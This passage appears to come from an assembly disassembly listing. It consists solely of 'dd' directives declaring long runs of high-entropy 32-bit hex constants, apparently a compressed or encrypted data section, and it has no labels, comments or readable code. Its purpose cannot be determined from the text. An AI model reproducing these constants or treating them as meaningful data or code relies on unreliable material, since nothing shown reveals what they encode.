9A077D57h, 4D031C1Ch, 0B706F923h, 0F1935D8Eh dd 6127DC31h, 9670D7A4h, 0B6072499h, 0BB0A00BCh, 9AB2CEF2h dd 20C3BA24h, 0E0C8A210h, 288A5A92h, 9A24BB22h, 0E54FC498h dd 0C48FC47h, 942D94A3h, 0F225F420h, 488039E6h, 0D38848h dd 1A578A69h, 0A5AADFDh, 0D7769214h, 900621C8h, 0ED19E84h dd 0C8313848h, 20692F59h, 8F40D9ACh, 0B19672BAh, 0DE4B0CD0h dd 8307E729h, 0C93E257Ah, 0A7CB7C0h, 0C24305D2h, 1C95D3DCh dd 0F3BF00C4h, 0CA4D579Eh, 8F540400h, 883B0A8Dh, 16DAF614h dd 268BD2Ah, 18FF7A6Ch, 3A3AE22h, 7900B12Fh, 0CEA73438h dd 94C5E1h, 538744CDh, 0AED234Eh, 6EB87B17h, 8D83818h dd 25A344CEh, 1858C542h, 59B50B71h, 54A2C1E4h, 54C2C7ACh dd 7E5D64C8h, 4365DA00h, 0DF5C061Bh, 692E0A96h, 67BC18E7h dd 97C3C1DBh, 0F6029DDh, 0E1E2DC98h, 183F071Dh, 292581E7h dd 73B320ECh, 31ED252Fh, 48764C05h, 989AD74h, 0EA7C9323h dd 5B82181h, 50D120DAh, 0BB661F03h, 3E338952h, 42C138B8h dd 6521A428h, 0A310B72Fh, 1400F51Ch, 19EAFF6Fh, 7B4675h dd 17CF1578h, 359D66F6h, 0F48EE309h, 477C02EEh, 22C46695h dd 2577CE24h, 0D49F5712h, 4015748Eh, 28211CFEh, 9F905026h dd 3E13A1DEh, 1EB50004h, 76588C48h, 2ABC01AFh, 0B6B74511h dd 622FDD89h, 866800D8h, 0C39F4D9Eh, 23520F08h, 0C2E79825h dd 0A27C934Ch, 38642DFAh, 952C71E8h, 3D40A4DDh, 10F60CFCh dd 214A8709h, 0C5A91E7h, 71A8929Ah, 13F676DEh, 12C6B71Ch dd 2214CBA4h, 0ACDC48AEh, 77F86E83h, 0BC3994D0h, 4155A140h dd 80502CA6h, 445F1CDAh, 0B18500B9h, 9B23011Dh, 0B8A58F28h dd 11C9488Ch, 67D01D1h, 93B6CA8Ah, 5E6051E3h, 3444C16h dd 8FEDF900h, 0A207BD5Ah, 0D51C1295h, 0D8ACC4A4h, 5C48B178h dd 94129F40h, 844178C8h, 54930609h, 0DB9C22CDh, 8707309h dd 0F46A8058h, 0D12A0904h, 8D0B64F2h, 2C10A55Bh, 1813A9F5h dd 7800F654h, 0F2BFF7DDh, 55150122h, 0EF4BB50Fh, 0D484F676h dd 0C7B032EBh, 8F5D0878h, 4ED59E2h, 0B8B2F9h, 6C2D8FDEh dd 25536D93h, 0D0101CE3h, 4830DBFAh, 7256F1BFh, 5826071Ah dd 623CB06Fh, 0F8612BBAh, 89850C42h, 13B47057h, 1DA8040h dd 9D0F0C9h, 0FAE240DEh, 0DAC70079h, 8D6203BFh, 0F3E9215Dh dd 0F10BB991h, 80192909h, 10F20D0Eh, 8B307D40h, 543F80AAh dd 97D71243h, 44242348h, 398430C5h, 0EA7B3210h, 50972926h dd 0B7C89A10h, 4A8EDA83h, 6389078Ah, 1E9B8F79h, 0A4A47289h dd 0B1F8B0C8h, 0B0944B7Dh, 0F424AC44h, 25008B64h, 61C8D022h dd 798D631h, 8AA49130h, 0A860B1B7h, 0C3DC608Fh, 0FF48B900h dd 8129F84Eh, 0EF7601ADh, 919B9079h, 0DB2C42B7h, 0E0264520h dd 0AB5600C8h, 603CAA89h, 271432F8h, 21D89806h, 5BC4BC4Eh dd 0A9EC283h, 30282054h, 17C987A6h, 59000E0Ch, 0F488C192h dd 0F65FC6h, 0E9D86B95h, 8EB6EF44h, 0C8E04B58h, 0FC044B97h dd 0B7EC4589h, 42DA58A0h, 26352252h, 6070662Fh, 43F1FE14h dd 1E216717h, 0F9B9E200h, 58BA3F4h, 0DC991A9Bh, 2ADCCC02h dd 2F68AF13h, 0C31E8090h, 4D150186h, 0BC24F970h, 489CD44Eh dd 53B3C40Fh, 10DCB41Ah, 4B18C04Ch, 1CACF9DAh, 3177D10Eh dd 5A6680E4h, 57E697h, 6749EF52h, 7DFA8F4Bh, 39555300h dd 0A14E6BA7h, 0CADB17C3h, 0FCA00859h, 71976380h, 99B71F45h dd 1033815Ch, 0EC735B5Dh, 9FDC393h, 0F83927CBh, 0D48680Fh dd 0E925DD0Ch, 56E002EAh, 38D079E6h, 0F8558FC1h, 0B400FC52h dd 7A29034Fh, 917F594Bh, 511C82B0h, 8CA0AA2Fh, 0F018527Bh dd 76049D72h, 99B96F9Ch, 0D12A7C82h, 12F21118h, 0B8322F09h dd 18271903h, 208B41B3h, 2D229D80h, 3CF05839h, 2160F930h dd 0E888408Eh, 884381A1h, 0E2011E8h, 1C409766h, 0A692AA31h dd 4A00C8B1h, 0C0512CC9h, 333C0004h, 1F6B5C38h, 37138CB3h dd 60086577h, 0FB6684CBh, 957C1DBh, 223423AEh, 7DC2C74h dd 0C4A2498Ch, 0EE01EF01h, 84331BE6h, 8DEC212h, 0DC8C91FCh dd 0FE563922h, 2E740077h, 9667398Ah, 5300201Dh, 0DC34E7Dh dd 0F3089BACh, 0C8EAF893h, 78B98A58h, 86C02C04h, 0E481FC48h dd 253D1337h, 21E25060h, 0BA1317FAh, 2EF82428h, 527D215h dd 813F8A61h, 8BC2FC8h, 0F14D444Bh, 0B4FEBCB0h, 9A109F89h dd 7300E0D5h, 0C0AEBDC8h dd 11179Bh, 0EC377956h, 48D91334h, 0AC00CCB9h, 0EB2AE62Dh dd 57AB034Dh, 0C5A725F3h, 8C4BA990h, 0A03C20F7h, 3CA8C0B9h dd 0FE8B244h, 0FC4DC2CBh, 5E16180h, 600E92Dh, 8120BBF1h dd 0A18240FEh, 970CE698h, 0BF252184h, 53008311h, 0FD603082h dd 80A15B19h, 0A6F8546Ah, 0A0DC2D34h, 66895970h, 0B21301D6h dd 3216A935h, 7926E8EDh, 7B0B3902h, 50F7D148h, 0D70922A4h dd 0C9AC2F30h, 0B82DAAh, 0E54B6DCBh, 0BCE67EEAh, 3C9C562Ch dd 0B853BF90h, 6C42007Eh, 20393AEh, 4B094CFDh, 1861E499h dd 0B1D8F234h, 4200BEB8h, 983068E3h, 6310605Bh, 6221E572h dd 0B1129C91h, 0CB409742h, 709038ECh, 444CC45Ah, 38371DCh dd 1DC65BF6h, 2A801666h, 0B30BD8F0h, 4EE45D15h, 0C64830D4h dd 0FD0E1611h, 67DEB801h, 9709536h, 42B046FAh, 0E1A1129h dd 30264B7Ch, 0B923B6ACh, 2B52217Ch, 7454590Ch, 0B6DD1740h dd 252E807Ch, 9B5719AAh, 0CCA92F0Bh, 779C982Ah, 0E93C0167h dd 6F0D2724h, 829CFCD4h, 940076F8h, 1F7E3215h, 1603199h dd 9740668Bh, 0E1D36564h, 1461D214h, 0F4A04D8Eh, 2409C182h dd 40A01830h, 84B7D7E0h, 9165B244h, 7ECB806Ch, 0BD2271C3h dd 81EAAD26h, 0BC3D4800h, 1ED6F005h, 0CA8AE2CCh, 28742DF3h dd 0B789235h, 0A5351DB0h, 0C50C3083h, 68D22AC3h, 0A8884478h dd 5103A7CCh, 93B2B3FBh, 0A7F4DBh, 8F0EC24h, 0DC0B81A9h dd 1390C404h, 3037975Bh, 0F98F41C8h, 474CD8B0h, 101BB06Ch dd 3DB400F6h, 0E8FA2CD9h, 0AE585735h, 1E510108h, 3BC69A7Ah dd 72211868h, 0BCCB9797h, 4942867Ch, 4809063Eh, 3CC8F06Ah dd 0C0709245h, 58AE5B73h, 0A113DD37h, 0FC63C247h, 6802157h dd 5CE2088h, 2DBDEh, 71FA7C18h, 2D02D0F1h, 220968ACh, 4E3C44D5h dd 6C6040E1h, 7A3F1507h, 253CB70Eh, 0A187A4B5h, 0A850E8B6h dd 21C84174h, 0C8182CB0h, 60E14F26h, 0F06CB964h, 488661E0h dd 0D730F4F3h, 4490F211h, 0E30770FCh, 6839921Ah, 0CC6ECB90h dd 37B0017Eh, 0B2C3B8A3h, 507DDDh, 52AD5D2Fh, 26454A92h dd 0D7C63Eh, 1951975Ch, 0C002DC48h, 220A8BBFh, 0B7B8A05Fh dd 0C94F46E0h, 4C903088h, 0D400FB7Ah, 0B396F720h, 3B70C59Ch dd 21602FDCh, 0A1A8EF07h, 75F8F200h, 79F9A04Eh, 28C6F2E5h dd 0F9C06526h, 299BDC64h, 3EF4BC93h, 65008022h, 0E04D558Dh dd 2C5867Eh, 492CB791h, 0DC80D616h, 0A2022FF1h, 54A8CBh dd 0B1B04BD8h, 85E980FEh, 8A1E7C88h, 14D81C41h, 0D60020B2h dd 4F706310h, 0F600AB58h, 0DD5BB340h, 192243ADh, 7044C1F1h dd 82382984h, 21A2BA97h, 85F20CB1h, 0FB0D5FA1h, 0DA2DEC44h dd 7196A646h, 86A0124Fh, 32A900E7h, 0C582C76Eh, 1E2E56A6h dd 0A5615CBAh, 2BF46D15h, 622F009Ah, 22464D65h, 0E709E550h dd 44B664CEh, 0B444020Ch, 66678013h, 0C10020F1h, 2F877E1h dd 0FBF40125h, 8D63B3E9h, 2F28306Bh, 0D0A3A231h, 0BC23488Eh dd 40909721h, 7F93B682h, 4B22AC5Ah, 27654B57h, 10785088h dd 0D23E0B87h, 442450A2h, 0BA9D3E00h, 0B668F263h, 42050020h dd 972B66AEh, 29C0A498h, 5EEB501Ch, 25A09AF0h, 0B065B843h dd 2B1E2411h, 5359806Bh, 0DD03A374h, 79113600h, 0F513B0A2h dd 0A6E0094Bh, 8812D18h, 81A79195h, 81FDDE69h, 0BC22CBB7h dd 20E12D13h, 41FE6A64h, 3DD5D800h, 0E8903CF6h, 1693002Bh dd 0AED39DD4h, 0C304DC3Ah, 8FCC223Eh, 910A0C82h, 2D109AF4h dd 45031DAFh, 657E0551h, 0C6C3D030h, 867C0222h, 7BBBCC3Ch dd 6C665C41h, 80768830h, 679314B6h, 8C9A4E43h, 0A022FF43h dd 0A8A55718h, 442E64E1h, 170023B1h, 6B095987h, 3EA34532h dd 0D68F5D0Ch, 246650FDh, 250CB1C7h, 88C05F03h, 48D18662h dd 479D1144h, 8BFE4810h, 0E118B091h, 144D4C5Ah, 1DF04424h dd 45B026CEh, 4D140194h, 0DDAC4CD6h, 79824B4h, 40608E41h dd 9D0084ABh, 361BB44Eh, 2648B74Bh, 4ECE7FCh, 0F5080FDCh dd 8044FA98h, 2A097E00h, 3F4E7F65h, 59E00C0h, 0B38A8212h dd 4075A31Dh, 0EB8110BEh, 179774E7h, 3587C86Ch, 3CF5F024h dd 0AB0186E8h, 0B3A06554h, 9EC9F1ADh, 880F8C60h, 4D1FC9DAh dd 40EEE6D0h, 7000B8A6h, 0C4264F1Ch, 66EE3E68h, 96640700h dd 79D32805h, 59256000h, 6B3008ACh, 0E7610078h, 0BD3C4EF1h dd 8B01106Ch, 96B5AA40h, 0F058B293h, 72E78130h, 76F078Ch dd 2AB04B98h, 24AE37BFh, 31C4C08h, 97A9CA2Bh, 17196B88h dd 6461361Eh, 8843591Ch, 83BA8CA2h, 0F06BB183h, 0EE01EC76h dd 0F9F63F7Eh, 6DC6F877h, 93F80739h, 340412B0h, 530086C3h dd 0F23402E5h, 0A04F8D29h, 0F0721080h, 0E13705Fh, 0AD0718B4h dd 8637C860h, 2C02F8F9h, 0A1148F69h, 7B8CF09Ch, 0DB4B0905h dd 0D4491308h, 8B0622Dh, 0AD250EDCh, 0EF396490h, 63F44250h dd 9548A300h, 0B1D9C516h, 0C1860009h, 7D2E9FA0h, 0B30769A6h dd 8A6BE2EFh, 3F3C0539h, 7EDA0C00h, 131E3DB8h, 0C806DBD3h dd 98005404h, 129F7530h, 7D415Bh, 5597D7B3h, 0EAED7F76h dd 0DCD36600h, 5108B4A0h, 0EC9B093Ah, 54D1DE14h, 4E1A8181h dd 94C4C0F8h, 2682EE07h, 0BF9CCA48h, 0D77802C2h, 611E28A7h dd 202A6816h, 0A5B2480h, 59F65F04h, 3087CBDEh, 1FC478C9h dd 836A2D04h, 8A0C3C8h, 884558Ah, 30BCF2FBh, 0B21A20F7h dd 0A30103FAh, 0F29AD135h, 1C54F6D2h, 49C8296h, 5D113994h dd 2A46CA6h, 644C013h, 0ADA008E3h, 967FB09Ah, 90888F4Ah dd 2FEC8889h, 28A66A2Ch, 93229044h, 484038D1h, 769963C0h dd 2DE70ED7h, 6B00EA9Ah, 2AB2CEC9h, 11E0F118h, 88AB97A9h dd 189541B1h, 204966C8h, 5499023Dh, 8E05F81Fh, 508C9A41h dd 0B1688A8h, 0F046151Ch, 5FF59C80h, 2223124h, 83012D4Fh dd 2C50694Ch, 4199A633h, 0AC9F882Ah, 5C9C00ADh, 0A51B63A8h dd 7E00E9B5h, 0E313FB1Eh, 3EED2D78h, 1405C0D9h, 81360C9Bh dd 0ECCB575Ch, 0BF0117B6h, 0DB7E0D65h, 0C6DD309h, 0F040205Fh dd 0ED077CB2h, 0B1C8F7BBh, 80B80C21h, 9C386071h, 0F4CC2EB2h dd 9423C200h, 0B2429F60h, 0A26701ACh, 0B1147D37h, 33A03054h dd 1DE0809Ch, 391D85Ah, 512FEDA9h, 0C4E27D74h, 6C0018D1h dd 915B951Ch, 42B866h, 4EBB165Fh, 8A36C762h, 8EE33B00h dd 0DB7239F9h, 9DD4A0Eh, 0D81030BCh, 0C8F05E11h, 180F903h dd 0F8A14737h, 26888192h, 60088DEDh, 2B58092Fh, 0B6498000h dd 532D45C0h, 2E8B897h, 0AD512C42h, 28C0A37Dh, 618AAF96h dd 8C08FC48h, 2DA1A344h, 100EF018h, 0ED05F6C8h, 3856248Fh dd 87A9E008h, 6062B823h, 0B7F99E7Ah, 1420C04Eh, 16D6EEh dd 70394E52h, 993319A6h, 9FCAA70Fh, 5856DE61h, 3244D300h dd 58804A8Eh, 47B1D417h, 385A31C5h, 16EC85B0h, 442DFCF4h dd 6B78FAC8h, 68076100h, 0EC3719E4h, 4230058h, 0B72BE551h dd 0FA515E7Dh, 1EB872CAh, 6D408C27h, 0B8772BC6h, 530701FEh dd 0D8FCEE17h, 8F506CBEh, 0E6409F33h, 31391BFBh, 1460005Eh dd 0C2012BD3h, 0E0241C3h, 692DFE54h, 14CD86Ch, 68F51564h dd 0C0BD28E7h, 0C24E2A4Eh, 7EBA8C98h, 6D9901B4h, 9456EF8Ch dd 170840C4h, 97272DAEh, 30658Bh, 0EA3F9A03h, 0D500B3DDh dd 0C6A5D401h, 5C5B21E8h, 8B82D87Dh, 0A4660217h, 0E4404B4Ah dd 629EAAF4h, 0F5D300E1h, 0E6A6740Fh, 0E803873Dh, 8DCA57FAh dd 47C91C6Dh dd 0B6684B15h, 3DD8E003h, 8010BCB4h, 5ED0CB0Eh, 26F72EDFh dd 60682568h, 3D00B4CEh, 0F533FF8Bh, 7E65855h, 0BB8325B0h dd 0F6FD7027h, 0AF5DE12Eh, 48455888h, 62F8048h, 5C9EC665h dd 51027857h, 0C7A5D875h, 0A1409476h, 76A05CAFh, 0B26107B9h dd 909EC33Bh, 4406697h, 0CC9D802h, 62C05850h, 0E2684628h dd 0DAF03E38h, 0D5000F3Ah, 0BB25412Ah, 0E4B8C8D2h, 25C63E22h dd 344605DCh, 81A449C8h, 51AC58F0h, 30C6F5B5h, 0ACBC9C34h dd 96808049h, 26CBD5B1h, 26285093h, 8BED40FCh, 0B000CC69h dd 0F1D13134h, 0A427610h, 41C05528h, 0A3A03FA4h, 6340D0B6h dd 2CE98Eh, 0D198EEEAh, 1FC688A3h, 0D9DBB500h, 6DCE02Eh dd 0A8048A0Ah, 16C859C4h, 0E8469512h, 488CA4Fh, 90EE1E87h dd 0A7E80D4h, 0FB2A0B76h, 6126C401h, 842FD136h, 5F285468h dd 0D4AC2098h, 618FA891h, 374800C3h, 0F21D203h, 668ADCAAh dd 88A42332h, 0D4D09DA0h, 3DF6A400h, 713033C0h, 5447007Dh dd 2CB3070Eh, 0A8A9BF2Fh, 50FC1472h, 1C00F88Bh, 8EDA5E88h dd 20030700h, 1A7A8936h, 2FFCE795h, 40989199h, 0AD0D3794h dd 0E74703Fh, 0A0B86D3Fh, 95972B17h, 40DE88A8h, 0D67C3E02h dd 0E0D4A189h, 9512C444h, 3F50E8A1h, 98829BAh, 44BF4842h dd 0CC9B0BF8h, 828086EFh, 728D5C2Eh, 0F468B226h, 0C0FDD044h dd 0F22310C0h, 0E400CCD4h, 421BB784h, 0E3B3165Bh, 4FF49804h dd 840B4BEh, 23C3592h, 3F46BAB8h, 0A0FBAB5Eh, 1825080h dd 98E37F93h, 0EAF626CCh, 40A044F8h, 2B153F56h, 4B09884h dd 0F4F9283Eh, 5CACF3h, 0ABE81AE5h, 0EADD1h, 4EED10EAh dd 0A9A89FCBh, 52978C00h, 77C93E7Eh, 0DDCD1265h, 273FC88h dd 0C5DC318Bh, 945248h, 9B0DD56Fh, 2E2D3306h, 0D7478005h dd 72C07F57h, 64EE1526h, 88E00865h, 5000A6F0h, 0A742B81Fh dd 0EA9432h, 1455F6F3h, 5709393Dh, 0A6293502h, 0C00D20D6h dd 3B5FA2h, 16689741h, 4EB46D5Ch, 537EF900h, 6C1742E7h dd 4C9D0095h, 94ABC20h, 660E35BAh, 0E024718Ch, 68A1485Fh dd 2E070A45h, 189C3EEEh, 64CCC022h, 0A620B000h, 0B7F24F02h dd 2198B86Bh, 8D028043h, 5107DB73h, 0B5C248Ch, 0C0047B44h dd 2E0481ECh, 0B8C79DEh, 8DB1B5h, 92311093h, 13F7730h dd 4FDE451Ch, 23FDB766h, 0ED3E007Ch, 9103A081h, 0D0B30567h dd 7B86CE5h, 0B01E0CE0h, 0B460CBB7h, 0B24630C3h, 562F88F6h dd 0BB64B1DDh, 83D9DF07h, 2E573064h, 4707CF8Eh, 14ACBFDBh dd 2C5BD010h, 0E73F0277h, 95FC0DFh, 10785842h, 0B688CDEAh dd 40955E96h, 31F5DED0h, 3E3A4E4Dh, 8086BD09h, 45C3125Ah dd 8E94D37Dh, 1B490C00h, 0ABB6520h, 0EE8D1CBFh, 0A524C44Fh dd 5374B0FEh, 4D498F04h, 5CC8123Ch, 2CA3851h, 7D938287h dd 5DB740FAh, 0F0B8C524h, 6BA78F04h, 708C959Bh, 49150441h dd 8CFDCE7Eh, 0FF0797BCh, 6E6CAF5Ch, 1EBE3EF0h, 0B7C0466h dd 0CCFC0FA8h, 4814271Ch, 0C9CD77h, 0A609427Fh, 58CE2D93h dd 0B8C40464h, 3F109097h, 0BC541B7Dh, 8E862898h, 93974168h dd 2C034421h, 0A08A46FAh, 4C9A265Ah, 7C3518ABh, 81BC80E8h dd 327247Ah, 0D2ACE359h, 40B524A6h, 0F86C50EEh, 25BA0026h dd 64C14082h, 0D902C617h, 4E47BC9Fh, 3EAC954Ch, 90A64B74h dd 675B62A8h, 4513D900h, 422C9665h, 32381DE9h, 95418451h dd 9230A057h, 27DEBC44h, 0C64CC3Fh, 1E20D43Bh, 14839E80h dd 0B0E29D45h, 298DFA2h, 9A526603h, 0B0C38CFBh, 4A18E3D5h dd 0B7482820h, 0B2D700C5h, 0E730F572h, 4500E937h, 38DA517Ah dd 4C38C97h, 0EFA15E63h, 500888CFh, 659C5C93h, 0C5F48E84h dd 1E770CB6h, 27E4550h, 0E24DC31Ah, 0BC249088h, 0DFC074D8h dd 1AB8DAF9h, 60E80E25h, 258BA320h, 48E96DBCh, 0B06510FEh dd 0E0D0011Bh, 0B2E9987h, 3EC0E57Bh, 0AA091C44h, 0C3C378A9h dd 0FDA02B9Bh, 5402A888h, 4D427193h, 805F0283h, 4A8A220Fh dd 2585C99h, 0DB63FDF2h, 5164BDC3h, 0DC45C6E0h, 4164D902h dd 1904B20h, 2450A23Eh, 2F248FF9h, 6C9493F5h, 2B84827h dd 7ADE2F24h, 0A60B00ACh, 7CFCE061h, 9006EA4h, 0BA500519h dd 1364DD73h, 0C16A3EAEh, 3AAAC2B4h, 0F3B05000h, 2059DC3h dd 8A8882EAh, 38D1B339h, 0CBE51387h, 985627C0h, 8050BE30h dd 0F9904E18h, 0A0914F97h, 0F6824601h, 478CB1Bh, 0DF3DC605h dd 218CF38Eh, 80429096h, 91FBE855h, 94A87248h, 0B580BF90h dd 9778FD4Eh, 0A400FBF3h, 8D5F7E57h, 285BAD83h, 2094B163h dd 0B304A815h, 5F209388h, 52DB84E0h, 833BB87Dh, 40D84D07h dd 0E08A04A7h, 0D4699C0h, 35BA9A12h, 68B2A0h, 16AA0FACh dd 11B87h, 39E73EB0h, 6BDDA4D3h, 13C484Dh, 0C0C6B906h dd 0B86908DBh, 0E8C0DC8Eh, 0CDB75099h, 949B8E12h, 4A26425h dd 40C13600h, 165D0EB5h, 24D48E4Ah, 1BDC5004h, 53F0488h dd 97E846F5h, 4EC02165h, 4C9822E0h, 526B0745h, 0F949AF8Fh dd 88570058h, 0D3F67126h, 329B2100h, 0ACEE0639h, 4300BCA3h dd 1EF0CE37h, 0AB00683Bh, 10BC347Ah, 0B29946h, 2698F3A4h dd 9313CC80h, 0DA38809Dh, 663042Ah, 6814C179h, 3A00C12Fh dd 0D0E30B3Ch, 5F7C2Ch, 0C023D362h, 9173D197h, 0E09A3916h dd 55088400h, 91051BEh, 71B0997Eh, 36D5F080h, 0A53ED816h dd 51C60113h, 2D598A70h, 461828BCh, 4E31902h, 0F3D89000h dd 0B84CA8EAh, 0DCBA3EB4h, 0AA420072h, 28B32CC2h, 80F75470h dd 4577FC69h, 198D146h, 81E0B9D5h, 0FCF24401h, 0E279677Dh dd 0C4546E18h, 0C27431h, 2290BB5Fh, 0B1FEA801h, 72F88607h dd 0D831F637h, 918615ABh, 39DBF31Fh, 0B1229F30h, 0F029FDA2h dd 6B730052h, 906AC5FEh, 10014B4Eh, 8EF6E92Ah, 3992CAB9h dd 0A4E105B2h, 669000D0h, 1C129BC5h, 8065C9CEh, 0ABF55BCEh dd 79CB30AEh, 0A3FD1078h, 0A8712960h, 3A111A19h, 250031A6h dd 463F5BCDh, 5D018974h, 0FC6EEE6Bh, 6CC00E93h, 10CE0635h dd 0D028A3A9h, 3C1A2558h, 513D3062h, 1268D83h, 87A2C88Eh dd 0FCAD8BE0h, 9300B5C2h, 82CE2F5Eh, 727633F8h, 0ACD9150Dh dd 0E5088804h, 8E3DC573h, 408E2D45h, 54DD505Fh, 0ACF1C0BFh dd 0F4D0DAC4h, 8C812E0Ch, 462F8C5h, 83B69241h, 0BD5406B4h dd 0CA7331h, 922AD3B2h, 9A40DD2Bh, 0F80190A4h, 6D566A66h dd 7FF3E8Ah, 0EFCE9BC1h, 0A884309Ah, 0E8C10CB3h, 8CE682B1h dd 0DFA5A050h, 95F30120h, 36FADAF0h, 0DDB4DCE0h, 7C4B033Ah dd 0DCC91B00h, 56F24C11h, 4E960035h, 5E4ACCF8h, 0B33A9454h dd 0E1FD80E9h, 0C277F0Dh, 339F002Ah, 6247AEB1h, 4B001B35h dd 0CE5A0F79h, 2A20BFBDh, 90718Dh, 64961FDEh, 903F4787h dd 21462A0Eh, 0EA1D606Dh, 6F831D6h, 11C60EF4h, 0D248AAF1h dd 80398834h, 3B52974Eh, 0CE0079A3h, 9EB5A1ECh, 916004h dd 567C28CAh, 6E5AD409h, 864B760Fh, 46BDC219h, 0A7D8AF05h dd 6D70B880h, 50159B6Ah, 0AC50E5h, 7ADB43EAh, 0E60487EDh dd 0D0CFCE01h, 179656EEh, 83204884h, 6910007Ch, 0C03A751Eh dd 1A01A658h, 2C031946h, 78B82D64h, 3DAEE10Ah, 0D5540841h dd 0C298D180h, 3CB98713h, 1E2E9E00h, 0D8A0DA94h, 909203C1h dd 61B4FCAFh, 0BD7D9900h, 33960C69h, 0FD340758h, 0E005ADE0h dd 1A24AE22h, 0DF233602h, 0A0209E3Eh, 69962894h, 0AC8700C4h dd 4160B4C2h, 0F70184CCh dd 9A43564Fh, 0B82416F6h, 0FB943DEEh, 5548DD80h, 6C4B8B10h dd 22440D4Dh, 1AB3011Dh, 2ABBC334h, 3DE8305Bh, 7B73B39h dd 8E7382E9h, 0D2729270h, 0AAD509C0h, 6CA07DABh, 0E46C4AD3h dd 0AD22607Ch, 0BC90020Ch, 0F820CEFDh, 0BB7D0C64h, 0F8720630h dd 0EA7985h, 382B4499h, 96A9090Eh, 0F4EFBD00h, 0DD6DF9BFh dd 0F128609Dh, 0FBCB5024h, 238F7D00h, 0DCE0A413h, 0E8FEE81Fh dd 9C9301Ah, 987D5579h, 2220F639h, 249F50C1h, 79DF020Fh dd 0A4E723E4h, 0D61F94B1h, 5E4754A1h, 36D03C8h, 605F74E0h dd 491D26A3h, 0D8008788h, 0B2AA6AEBh, 8A6E0C63h, 46213841h dd 0F8911B60h, 0DA3C64h, 0DEA58E06h, 0B34AB8C7h, 0CDFA5C00h dd 8AE66E2Eh, 650C026Dh, 89A6AAC9h, 5C981862h, 81EEB8Fh dd 14C99294h, 4165003Bh, 2486F70Dh, 75C07D6h, 26FA1F2Eh dd 0AF00802Ch, 4ADCF6CDh, 28FA60Fh, 0F9208364h, 0EC6E2D4Eh dd 8F00B8F8h, 77EF5318h, 0EEA5B66h, 5DA66C39h, 0C7828854h dd 0D882846Bh, 0D864C9AEh, 21D75530h, 0A5A425h, 0AC0570D3h dd 0AD7F3416h, 6885AB13h, 0C9B11C00h, 0CE40Fh, 0C87A3790h dd 18B28D2Ah, 0E8B00605h, 9BC0404Ah, 2252C65h, 20F0B1FCh dd 0E091DAEFh, 83491021h, 0CC171D08h, 752EC044h, 0ACEAD9F0h dd 3F79E101h, 0D432C29h, 0C10B4088h, 0D6AE2680h, 765803h dd 0C883FD6Ah, 467B476Eh, 40CD8500h, 89F72C39h, 54F83829h dd 0FDAE3960h, 441D4658h, 89962C11h, 0E5F15020h, 0D184A88Ah dd 0EB6700E7h, 0BD056860h, 9B7783CBh, 0D790541Fh, 3E00EE57h dd 0ED1DD36Eh, 0C142E877h, 0A59EA870h, 4613F0DDh, 7C180149h dd 480D3Ch, 870A93CBh, 0C67AD92h, 0EEE0655Fh, 0C939F570h dd 49689F0Dh, 0F80E6C9h, 4A8B2318h, 7A1EE08h, 0DCEACAB6h dd 2C3FC305h, 0DAD1B904h, 65C62B9Ch, 0B02E0071h, 2CBB0CC8h dd 0E01675EFh, 0F703049Bh, 0B8954AD2h, 0F85E7h, 0C151A55Dh dd 653E7148h, 96635600h, 5BD722E5h, 0ECFB5895h, 55B2AC00h dd 7E082FBCh, 2AADD918h, 4F0F469h, 7DE28166h, 0E53CCCBEh dd 654F8812h, 2EB8117h, 0B1BC78AFh, 269CEF60h, 8FC70F39h dd 0E0DB5DFEh, 4FDF6CEh, 0FA2015A1h, 0D914D4EDh, 1F82A0A2h dd 0C82BFFDh, 59220DA9h, 40C710A1h, 0E9118409h, 0AE6800ACh dd 0C47CC546h, 21C20B41h, 0C1507A0h, 4D19C5B0h, 8B5D5506h dd 1D61C04Ch, 2C748220h, 39A44784h, 87F38800h, 9B0F1BDCh dd 97B5F59Dh, 694C6C00h, 2E646509h, 42308920h, 5CE0ADDEh dd 0A4002BBCh, 0A61B1A09h, 918BFCEBh, 9AC173Ch, 20014198h dd 81259E42h, 0FA9A2619h, 15C437C2h, 28F89030h, 2264BDF2h dd 700C0BAEh, 0B96AA2DCh, 191F6046h, 5692E0BDh, 73CB6E03h dd 0A069F085h, 0E5A8432h, 462C1AC5h, 40B4A63Eh, 0ADB28FF5h dd 0A47A9019h, 8B11FEC8h, 7CB83246h, 80A88C58h, 84C72665h dd 80A499AEh, 0B605F4B0h, 0F0007146h, 0F66D0DB1h, 2AFB4586h dd 44BCBE7Ch, 0AC992601h, 93AC8Eh, 24C917E2h, 4E801F21h dd 13FE40DBh, 0AEB7154h, 70ECAF5Ch, 0C415F20h, 78872026h dd 4A02D491h, 0A2D07377h, 0A985232Ah, 6D2C96B8h, 0CD9A7A09h dd 39C490E6h, 0FDA07DEh, 0E730069Fh, 0C15427B8h, 48414ADDh dd 8114858Ch, 10894EAh, 2C3E5F0Dh, 0C8295553h, 76663C00h dd 0D80585BDh, 34AD2A08h, 0CD096F83h, 40BF7004h, 0B2CB6747h dd 90251D07h, 5CCE0168h, 0E43C369Fh, 4400478Bh, 0C61BDD15h dd 0F04BBEF8h, 5C117FEh, 6B84F5Fh, 0DD701080h, 0D419D2E6h dd 0E5A117A4h, 1752029h, 0C1331D96h, 0C857F276h, 0DF005097h dd 10D108DCh, 0E6AA67Fh, 0AD517466h, 4FCCD083h, 0DB399DA8h dd 0F1F0BD01h, 565DBEF9h, 17461ECh, 0A9D72401h, 0CCC259DAh dd 660D8ED1h, 20BC3992h, 1F407160h, 400183C4h, 0DDF3215Dh dd 0A50393BDh, 0EAC6E16h, 67A3A00Fh, 50740E5Eh, 0ECA0E3ADh dd 529CB5BDh, 36509F78h, 0B0601808h, 83BBAD59h, 11B661DFh dd 0BC76E6BCh, 0B1D40318h, 6FCC96h, 1083C250h, 0B220198Dh dd 6E173600h, 0D469A774h, 6C9700D0h, 0C386DBDAh, 0CC419ADCh dd 1885C2E4h, 61B338D4h, 796E71F0h, 50F785B6h, 0EA98043h dd 0AED1A1CAh, 38B67881h, 47DE8455h, 0D5C10054h, 7018AEBAh dd 60395901h, 0C9646C34h, 63074F20h, 0B54B8A0Fh, 1E7EB08Ch dd 0D221FFC8h, 5B448061h, 0AD01467Ch, 30AB9896h, 39E07926h dd 66F933EFh, 618E5DD0h, 7B4FD400h, 0EA7A9276h, 804207B1h dd 7FB9B5FAh, 0FC3678F9h, 460F0B98h, 60ADBFC9h, 0F8B80C63h dd 62A501BDh, 0DC845707h, 0DC998B7h, 78141190h, 0E6E0E1Ch dd 0B26CC9B8h, 503A3621h, 0C09E02D2h, 87305FD4h, 0B750EC70h dd 348502Eh, 1EB0E60h, 0D018C4D6h, 